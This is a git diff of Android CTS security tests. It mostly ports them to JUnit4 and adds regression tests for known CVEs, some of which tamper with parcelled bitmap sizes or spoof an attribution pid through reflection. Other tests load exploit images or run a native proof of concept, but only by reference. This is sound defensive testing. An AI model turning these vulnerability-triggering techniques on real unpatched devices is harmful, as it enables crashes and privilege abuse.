a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java +++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java @@ -16,7 +16,7 @@ package android.security.cts; -import android.test.AndroidTestCase; +import static org.junit.Assert.fail; import android.app.Activity; import android.os.BaseBundle; @@ -27,21 +27,29 @@ import android.view.AbsSavedState; import android.view.View; import android.view.View.BaseSavedState; import android.annotation.SuppressLint; +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.InputStream; import java.lang.reflect.Field; import java.util.Random; +import org.junit.runner.RunWith; +import org.junit.Test; + import android.security.cts.R; import android.platform.test.annotations.AsbSecurityTest; -public class AmbiguousBundlesTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class AmbiguousBundlesTest extends StsExtraBusinessLogicTestCase { /** * b/140417434 * Vulnerability Behaviour: Failure via Exception */ @AsbSecurityTest(cveBugId = 140417434) + @Test public void test_android_CVE_2020_0082() throws Exception { Ambiguator ambiguator = new Ambiguator() { @@ -180,6 +188,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase { * b/71992105 */ @AsbSecurityTest(cveBugId = 71992105) + @Test public void test_android_CVE_2017_13310() throws Exception { Ambiguator ambiguator = new Ambiguator() { @@ -270,6 +279,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase { * b/71508348 */ @AsbSecurityTest(cveBugId = 71508348) + @Test public void test_android_CVE_2018_9339() throws Exception { Ambiguator ambiguator = new Ambiguator() { @@ -373,6 +383,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase { * b/62998805 */ @AsbSecurityTest(cveBugId = 62998805) + @Test public void test_android_CVE_2017_0806() throws Exception { Ambiguator ambiguator = new Ambiguator() { @Override @@ -436,6 +447,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase { * b/73252178 */ @AsbSecurityTest(cveBugId = 73252178) + @Test public void test_android_CVE_2017_13311() throws Exception { Ambiguator ambiguator = new Ambiguator() { @Override @@ -530,6 +542,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase { * b/71714464 */ @AsbSecurityTest(cveBugId = 71714464) + @Test public void test_android_CVE_2017_13287() throws Exception { Ambiguator ambiguator = new Ambiguator() { @Override diff --git a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java index 7b26ff0cee8..ca85b651cc6 100644 --- a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java +++ b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java @@ -25,6 +25,7 @@ import android.platform.test.annotations.AsbSecurityTest; import androidx.test.core.app.ApplicationProvider; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import static org.junit.Assert.assertFalse; import org.junit.Test; @@ -34,9 +35,9 @@ import java.io.File; import java.lang.reflect.Field; @RunWith(AndroidJUnit4.class) -public class AndroidFutureTest { +public class AndroidFutureTest extends StsExtraBusinessLogicTestCase { - @AsbSecurityTest(cveBugId = 186530450) + @AsbSecurityTest(cveBugId = 197228210) @Test public void testAndroidFutureReadThrowable() throws Exception { String filePath = "/data/system/" + System.currentTimeMillis(); diff --git a/tests/tests/security/src/android/security/cts/AssetManagerTest.java b/tests/tests/security/src/android/security/cts/AssetManagerTest.java index 10e1c2098c3..684fa6f4d02 100644 --- a/tests/tests/security/src/android/security/cts/AssetManagerTest.java +++ b/tests/tests/security/src/android/security/cts/AssetManagerTest.java @@ -19,13 +19,19 @@ package android.security.cts; import android.content.res.AssetManager; import android.content.res.XmlResourceParser; import android.platform.test.annotations.AsbSecurityTest; +import androidx.test.runner.AndroidJUnit4; -import com.android.compatibility.common.util.CtsAndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; -public class AssetManagerTest extends CtsAndroidTestCase { +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class AssetManagerTest extends StsExtraBusinessLogicTestCase { // b/144028297 @AsbSecurityTest(cveBugId = 144028297) + @Test public void testCloseThenFinalize() throws Exception { final XmlResourceParser[] parser = {null}; final AssetManager[] assetManager = {AssetManager.class.newInstance()}; diff --git a/tests/tests/security/src/android/security/cts/AttributionSourceTest.java b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java new file mode 100644 index 00000000000..e36fa49b3eb --- /dev/null +++ b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java @@ -0,0 +1,54 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertThrows; + +import java.lang.reflect.Field; +import org.junit.Test; +import org.junit.runner.RunWith; + +import android.content.AttributionSource; +import android.content.Context; +import android.platform.test.annotations.AsbSecurityTest; +import androidx.test.core.app.ApplicationProvider; +import androidx.test.runner.AndroidJUnit4; + +@RunWith(AndroidJUnit4.class) +public class AttributionSourceTest { + + @AsbSecurityTest(cveBugId = 200288596) + @Test + public void testPidCheck() throws Exception { + Context context = ApplicationProvider.getApplicationContext(); + AttributionSource attributionSource = + new AttributionSource( + (AttributionSource) + Context.class.getMethod("getAttributionSource").invoke(context), + null); + + Field attSourceStateField = + attributionSource.getClass().getDeclaredField("mAttributionSourceState"); + attSourceStateField.setAccessible(true); + + Object attSourceState = attSourceStateField.get(attributionSource); + attSourceState.getClass().getField("pid").setInt(attSourceState, 0); + final AttributionSource attributionSourceFinal = attributionSource; + assertThrows(SecurityException.class, () -> attributionSourceFinal.enforceCallingPid()); + } +} + diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java index 1e1878deae3..4c8fec8a423 100644 --- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java +++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java @@ -23,14 +23,20 @@ import android.media.audiofx.Equalizer; import android.platform.test.annotations.AsbSecurityTest; import android.util.Log; -import com.android.compatibility.common.util.CtsAndroidTestCase; +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import static org.junit.Assert.*; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.util.Arrays; import java.util.UUID; -public class AudioSecurityTest extends CtsAndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class AudioSecurityTest extends StsExtraBusinessLogicTestCase { private static final String TAG = "AudioSecurityTest"; private static final int ERROR_DEAD_OBJECT = -7; // AudioEffect.ERROR_DEAD_OBJECT @@ -58,30 +64,33 @@ public class AudioSecurityTest extends CtsAndroidTestCase { private static void testAllEffects(String testName, TestEffect testEffect) throws Exception { int failures = 0; - for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) { - final AudioEffect audioEffect; - try { - audioEffect = (AudioEffect)AudioEffect.class.getConstructor( - UUID.class, UUID.class, int.class, int.class).newInstance( - descriptor.type, - descriptor.uuid, // uuid overrides type - 0 /* priority */, 0 /* audioSession */); - } catch (Exception e) { - Log.w(TAG, "effect " + testName + " " + descriptor.name - + " cannot be created (ignoring)"); - continue; // OK; - } - try { - testEffect.test(audioEffect); - Log.d(TAG, "effect " + testName + " " + descriptor.name + " success"); - } catch (Exception e) { - Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!", - e); - ++failures; - } catch (AssertionError e) { - Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!", - e); - ++failures; + AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects(); + if (descriptors != null) { + for (AudioEffect.Descriptor descriptor : descriptors) { + final AudioEffect audioEffect; + try { + audioEffect = (AudioEffect)AudioEffect.class.getConstructor( + UUID.class, UUID.class, int.class, int.class).newInstance( + descriptor.type, + descriptor.uuid, // uuid overrides type + 0 /* priority */, 0 /* audioSession */); + } catch (Exception e) { + Log.w(TAG, "effect " + testName + " " + descriptor.name + + " cannot be created (ignoring)"); + continue; // OK; + } + try { + testEffect.test(audioEffect); + Log.d(TAG, "effect " + testName + " " + descriptor.name + " success"); + } catch (Exception e) { + Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!", + e); + ++failures; + } catch (AssertionError e) { + Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!", + e); + ++failures; + } } } assertEquals("found " + testName + " " + failures + " failures", @@ -90,6 +99,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase { // b/28173666 @AsbSecurityTest(cveBugId = 28173666) + @Test public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception { testAllEffects("get parameter attempt offload", new TestEffect() { @@ -104,6 +114,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase { // b/32624850 // b/32635664 @AsbSecurityTest(cveBugId = 32438594) + @Test public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception { testAllEffects("get parameter2 attempt offload", new TestEffect() { @@ -116,6 +127,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase { // b/30204301 @AsbSecurityTest(cveBugId = 30204301) + @Test public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception { testAllEffects("set parameter attempt offload", new TestEffect() { @@ -128,6 +140,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase { // b/37536407 @AsbSecurityTest(cveBugId = 32448258) + @Test public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception { testAllEffects("equalizer get parameter name", new TestEffect() { @@ -355,6 +368,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase { // b/31781965 @AsbSecurityTest(cveBugId = 31781965) + @Test public void testVisualizerCapture_CVE_2017_0396() throws Exception { // Capture params final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV. @@ -371,89 +385,93 @@ public class AudioSecurityTest extends CtsAndroidTestCase { final int bufferSize = bufferSamples * 2; // bytes per sample for 16 bits final short data[] = new short[bufferSamples]; // zero data - for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) { - if (descriptor.type.compareTo(UUID.fromString(VISUALIZER_TYPE)) != 0) { - continue; - } - - AudioEffect audioEffect = null; - AudioTrack audioTrack = null; - - try { - // create track and play - { - audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC, sampleRate, - AudioFormat.CHANNEL_OUT_STEREO, format, bufferSize, - AudioTrack.MODE_STATIC); - assertEquals("Cannot write to audio track", - bufferSamples, - audioTrack.write(data, 0 /* offsetInBytes */, data.length)); - assertEquals("AudioTrack not initialized", - AudioTrack.STATE_INITIALIZED, - audioTrack.getState()); - assertEquals("Cannot set loop points", - android.media.AudioTrack.SUCCESS, - audioTrack.setLoopPoints(0 /* startInFrames */, bufferFrames, loops)); - audioTrack.play(); + AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects(); + if (descriptors != null) { + for (AudioEffect.Descriptor descriptor : descriptors) { + if (descriptor.type.compareTo(UUID.fromString(VISUALIZER_TYPE)) != 0) { + continue; } - // wait for track to really begin playing - Thread.sleep(200 /* millis */); - - // create effect - { - audioEffect = (AudioEffect) AudioEffect.class.getConstructor( - UUID.class, UUID.class, int.class, int.class).newInstance( - descriptor.type, descriptor.uuid, 0 /* priority */, - audioTrack.getAudioSessionId()); - } - - // set capture size - { - byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */) - .order(ByteOrder.nativeOrder()) - .putInt(0) // status (unused) - .putInt(4) // psize (sizeof(param)) - .putInt(4) // vsize (sizeof(value)) - .putInt(VISUALIZER_PARAM_CAPTURE_SIZE) // data[0] (param) - .putInt(CAPTURE_SIZE) // data[4] (value) - .array(); - - Integer ret = (Integer) AudioEffect.class.getDeclaredMethod( - "command", int.class, byte[].class, byte[].class).invoke( - audioEffect, - EFFECT_CMD_SET_PARAM, - command, new byte[4] /* reply */); - Log.d(TAG, "setparam returns " + ret); - assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT); - } - - // enable effect - { - final int ret = audioEffect.setEnabled(true); - assertEquals("Cannot enable audio effect", 0 /* expected */, ret); - } - - // wait for track audio data to be processed, otherwise capture - // will not really return audio data. - Thread.sleep(200 /* millis */); - - // capture data - { - Integer ret = (Integer) AudioEffect.class.getDeclaredMethod( - "command", int.class, byte[].class, byte[].class).invoke( - audioEffect, - VISUALIZER_CMD_CAPTURE, - new byte[0] /* command */, captureBuf /* reply */); - Log.d(TAG, "capture returns " + ret); - assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT); - } - } finally { - if (audioEffect != null) { - audioEffect.release(); - } - if (audioTrack != null) { - audioTrack.release(); + AudioEffect audioEffect = null; + AudioTrack audioTrack = null; + + try { + // create track and play + { + audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC, sampleRate, + AudioFormat.CHANNEL_OUT_STEREO, format, bufferSize, + AudioTrack.MODE_STATIC); + assertEquals("Cannot write to audio track", + bufferSamples, + audioTrack.write(data, 0 /* offsetInBytes */, data.length)); + assertEquals("AudioTrack not initialized", + AudioTrack.STATE_INITIALIZED, + audioTrack.getState()); + assertEquals("Cannot set loop points", + android.media.AudioTrack.SUCCESS, + audioTrack.setLoopPoints( + 0 /* startInFrames */, bufferFrames, loops)); + audioTrack.play(); + } + + // wait for track to really begin playing + Thread.sleep(200 /* millis */); + + // create effect + { + audioEffect = (AudioEffect) AudioEffect.class.getConstructor( + UUID.class, UUID.class, int.class, int.class).newInstance( + descriptor.type, descriptor.uuid, 0 /* priority */, + audioTrack.getAudioSessionId()); + } + + // set capture size + { + byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */) + .order(ByteOrder.nativeOrder()) + .putInt(0) // status (unused) + .putInt(4) // psize (sizeof(param)) + .putInt(4) // vsize (sizeof(value)) + .putInt(VISUALIZER_PARAM_CAPTURE_SIZE) // data[0] (param) + .putInt(CAPTURE_SIZE) // data[4] (value) + .array(); + + Integer ret = (Integer) AudioEffect.class.getDeclaredMethod( + "command", int.class, byte[].class, byte[].class).invoke( + audioEffect, + EFFECT_CMD_SET_PARAM, + command, new byte[4] /* reply */); + Log.d(TAG, "setparam returns " + ret); + assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT); + } + + // enable effect + { + final int ret = audioEffect.setEnabled(true); + assertEquals("Cannot enable audio effect", 0 /* expected */, ret); + } + + // wait for track audio data to be processed, otherwise capture + // will not really return audio data. + Thread.sleep(200 /* millis */); + + // capture data + { + Integer ret = (Integer) AudioEffect.class.getDeclaredMethod( + "command", int.class, byte[].class, byte[].class).invoke( + audioEffect, + VISUALIZER_CMD_CAPTURE, + new byte[0] /* command */, captureBuf /* reply */); + Log.d(TAG, "capture returns " + ret); + assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT); + } + } finally { + if (audioEffect != null) { + audioEffect.release(); + } + if (audioTrack != null) { + audioTrack.release(); + } } } } diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java index 20ac03a90c5..f441c7808f3 100644 --- a/tests/tests/security/src/android/security/cts/BigRleTest.java +++ b/tests/tests/security/src/android/security/cts/BigRleTest.java @@ -18,14 +18,19 @@ package android.security.cts; import android.graphics.Bitmap; import android.graphics.BitmapFactory; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.InputStream; import android.platform.test.annotations.AsbSecurityTest; import android.security.cts.R; -public class BigRleTest extends AndroidTestCase { +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class BigRleTest extends StsExtraBusinessLogicTestCase { /** * Verifies that the device does not run OOM decoding a particular RLE encoded BMP. * @@ -33,8 +38,9 @@ public class BigRleTest extends AndroidTestCase { * we attempted to allocate space for all the encoded data at once, resulting in OOM. */ @AsbSecurityTest(cveBugId = 33251605) + @Test public void test_android_bug_33251605() { - InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605); + InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33251605); Bitmap bitmap = BitmapFactory.decodeStream(exploitImage); } } diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java index 7516e5b6712..aa7a3607ed0 100644 --- a/tests/tests/security/src/android/security/cts/BinderExploitTest.java +++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java @@ -40,8 +40,8 @@ import java.io.InputStream; import java.io.InputStreamReader; import static org.junit.Assert.assertTrue; -import android.test.AndroidTestCase; import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; import android.platform.test.annotations.AsbSecurityTest; import java.util.ArrayList; @@ -53,9 +53,14 @@ import android.os.IBinder; import android.system.ErrnoException; import android.widget.TextView; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + import java.io.File; import java.util.List; +import org.junit.runner.RunWith; +import org.junit.Test; + class Exchange extends IBinderExchange.Stub { IBinder binder; BinderExploitTest.CVE_2019_2213_Activity xpl; @@ -97,7 +102,8 @@ class ExploitThread extends Thread { public native void runxpl(String pipedir); } -public class BinderExploitTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class BinderExploitTest extends StsExtraBusinessLogicTestCase { static final String TAG = BinderExploitTest.class.getSimpleName(); private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts"; @@ -115,6 +121,7 @@ public class BinderExploitTest extends AndroidTestCase { * b/141496757 */ @AsbSecurityTest(cveBugId = 133758011) + @Test public void testPoc_cve_2019_2213() throws Exception { Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start...")); diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java index 444b110b629..9b9ea1f98c5 100644 --- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java +++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java @@ -18,14 +18,18 @@ package android.security.cts; import android.graphics.BitmapFactory; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; - +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import org.junit.runner.RunWith; +import org.junit.Test; +import static org.junit.Assert.*; import android.security.cts.R; import java.io.BufferedInputStream; import java.io.InputStream; -public class BitmapFactoryDecodeStreamTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class BitmapFactoryDecodeStreamTest extends StsExtraBusinessLogicTestCase { /* * This test case reproduces the bug in CVE-2015-1532. * It verifies that the BitmapFactory:decodeStream method is not vulnerable @@ -33,23 +37,26 @@ public class BitmapFactoryDecodeStreamTest extends AndroidTestCase { * npTc chunk. */ @AsbSecurityTest(cveBugId = 19151999) + @Test public void testNinePatchHeapOverflow() throws Exception { - InputStream inStream = new BufferedInputStream(mContext.getResources().openRawResource( + InputStream inStream = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource( R.raw.cve_2015_1532)); BitmapFactory.decodeStream(inStream); } @AsbSecurityTest(cveBugId = 36724453) + @Test public void testPocCVE_2017_0691() throws Exception { - InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource( + InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource( R.raw.cve_2017_0691)); BitmapFactory.decodeStream(exploitImage); } @AsbSecurityTest(cveBugId = 65290323) + @Test public void test_b65290323() throws Exception { - InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource( + InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource( R.raw.b65290323)); BitmapFactory.decodeStream(exploitImage); } diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java index b1de686459b..c77b7dd2f60 100644 --- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java +++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java @@ -16,10 +16,15 @@ package android.security.cts; +import static org.junit.Assert.*; + +import android.content.Context; import android.graphics.BitmapFactory; import android.os.ParcelFileDescriptor; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.File; import java.io.FileDescriptor; @@ -27,13 +32,16 @@ import java.io.FileOutputStream; import java.io.InputStream; import java.lang.Exception; +import org.junit.runner.RunWith; +import org.junit.Test; import android.security.cts.R; -public class BitmapFactorySecurityTests extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class BitmapFactorySecurityTests extends StsExtraBusinessLogicTestCase { private FileDescriptor getResource(int resId) { try { - InputStream is = mContext.getResources().openRawResource(resId); + InputStream is = getInstrumentation().getContext().getResources().openRawResource(resId); assertNotNull(is); File file = File.createTempFile("BitmapFactorySecurityFile" + resId, "img"); file.deleteOnExit(); @@ -58,6 +66,7 @@ public class BitmapFactorySecurityTests extends AndroidTestCase { * Verifies that decoding a corrupt ICO does crash. */ @AsbSecurityTest(cveBugId = 38116746) + @Test public void test_android_bug_38116746() { FileDescriptor exploitImage = getResource(R.raw.bug_38116746); try { @@ -74,6 +83,7 @@ public class BitmapFactorySecurityTests extends AndroidTestCase { * Verifies that decoding a corrupt BMP does crash. */ @AsbSecurityTest(cveBugId = 37627194) + @Test public void test_android_bug_37627194() { FileDescriptor exploitImage = getResource(R.raw.bug_37627194); try { @@ -84,6 +94,7 @@ public class BitmapFactorySecurityTests extends AndroidTestCase { } @AsbSecurityTest(cveBugId = 156261521) + @Test public void test_android_bug_156261521() { // Previously decoding this would crash. FileDescriptor exploitImage = getResource(R.raw.bug_156261521); diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java new file mode 100644 index 00000000000..c532e05e906 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/BitmapService.java @@ -0,0 +1,50 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.app.Service; +import android.content.Intent; +import android.os.IBinder; + +import androidx.annotation.Nullable; + +public class BitmapService extends Service { + + private final IBitmapService.Stub mBinder = new IBitmapService.Stub() { + @Override + public int getAllocationSize(BitmapWrapper wrapper) { + return wrapper.getBitmap().getAllocationByteCount(); + } + + @Override + public boolean didReceiveBitmap(BitmapWrapper wrapper) { + return true; + } + + + @Override + public boolean ping() { + return true; + } + }; + + @Nullable + @Override + public IBinder onBind(Intent intent) { + return mBinder; + } +} diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java index 40cb1398e97..5ce81fd9d95 100644 --- a/tests/tests/security/src/android/security/cts/BitmapTest.java +++ b/tests/tests/security/src/android/security/cts/BitmapTest.java @@ -16,16 +16,89 @@ package android.security.cts; +import android.app.Instrumentation; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.ServiceConnection; import android.graphics.Bitmap; +import android.os.BadParcelableException; +import android.os.IBinder; import android.platform.test.annotations.AsbSecurityTest; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import androidx.test.platform.app.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; +import com.google.common.util.concurrent.AbstractFuture; + +import org.junit.After; +import org.junit.Assert; +import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + @RunWith(AndroidJUnit4.class) -public class BitmapTest { +public class BitmapTest extends StsExtraBusinessLogicTestCase { + + private Instrumentation mInstrumentation; + private PeerConnection mRemoteConnection; + private IBitmapService mRemote; + + public static class PeerConnection extends AbstractFuture<IBitmapService> + implements ServiceConnection { + @Override + public void onServiceConnected(ComponentName name, IBinder service) { + set(IBitmapService.Stub.asInterface(service)); + } + + @Override + public void onServiceDisconnected(ComponentName name) { + } + + @Override + public IBitmapService get() throws InterruptedException, ExecutionException { + try { + return get(5, TimeUnit.SECONDS); + } catch (TimeoutException e) { + throw new RuntimeException(e); + } + } + } + + @Before + public void setUp() throws Exception { + mInstrumentation = InstrumentationRegistry.getInstrumentation(); + } + + @After + public void tearDown() { + if (mRemoteConnection != null) { + final Context context = mInstrumentation.getContext(); + context.unbindService(mRemoteConnection); + mRemote = null; + mRemoteConnection = null; + } + } + + IBitmapService getRemoteService() throws ExecutionException, InterruptedException { + if (mRemote == null) { + final Context context = mInstrumentation.getContext(); + Intent intent = new Intent(); + intent.setComponent(new ComponentName( + "android.security.cts", "android.security.cts.BitmapService")); + mRemoteConnection = new PeerConnection(); + context.bindService(intent, mRemoteConnection, + Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT); + mRemote = mRemoteConnection.get(); + } + return mRemote; + } + /** * Test Bitmap.createBitmap properly throws OOME on large inputs. * @@ -39,4 +112,102 @@ public class BitmapTest { // which might be passed to createBitmap from a Java decoder. Bitmap.createBitmap(65535, 65535, Bitmap.Config.ARGB_8888); } + + @Test + @AsbSecurityTest(cveBugId = 213169612) + public void test_inplace_213169612() throws Exception { + IBitmapService remote = getRemoteService(); + Assert.assertTrue("Binder should be alive", remote.ping()); + BitmapWrapper wrapper = new BitmapWrapper( + Bitmap.createBitmap(2, 4, Bitmap.Config.ARGB_8888)); + final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount(); + int allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to 500KiB; larger than the actual size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, 500 * 1024); + allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to 2 bytes; smaller than the actual size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, 2); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Keep the blob size accurate, but change computed allocation size to be too large + wrapper.reset() + .replace(BitmapWrapper.Field.Height, 10_000) + .replace(BitmapWrapper.Field.RowBytes, 50_000); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + } + + @Test + @AsbSecurityTest(cveBugId = 213169612) + public void test_ashmem_213169612() throws Exception { + IBitmapService remote = getRemoteService(); + Assert.assertTrue("Binder should be alive", remote.ping()); + BitmapWrapper wrapper = new BitmapWrapper( + Bitmap.createBitmap(1000, 1000, Bitmap.Config.ARGB_8888) + .createAshmemBitmap()); + final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount(); + int allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to be larger than the initial size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, expectedAllocationSize * 2); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to 2 bytes; smaller than the actual size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, 2); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Keep the ashmem size accurate, but change computed allocation size to be too large + wrapper.reset() + .replace(BitmapWrapper.Field.Height, 10_000) + .replace(BitmapWrapper.Field.RowBytes, 50_000); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Keep the ashmem size accurate, but change computed allocation size to be smaller + wrapper.reset() + .replace(BitmapWrapper.Field.Height, 100); + allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + } } diff --git a/tests/tests/security/src/android/security/cts/BitmapWrapper.java b/tests/tests/security/src/android/security/cts/BitmapWrapper.java new file mode 100644 index 00000000000..dbcf4989354 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/BitmapWrapper.java @@ -0,0 +1,125 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * 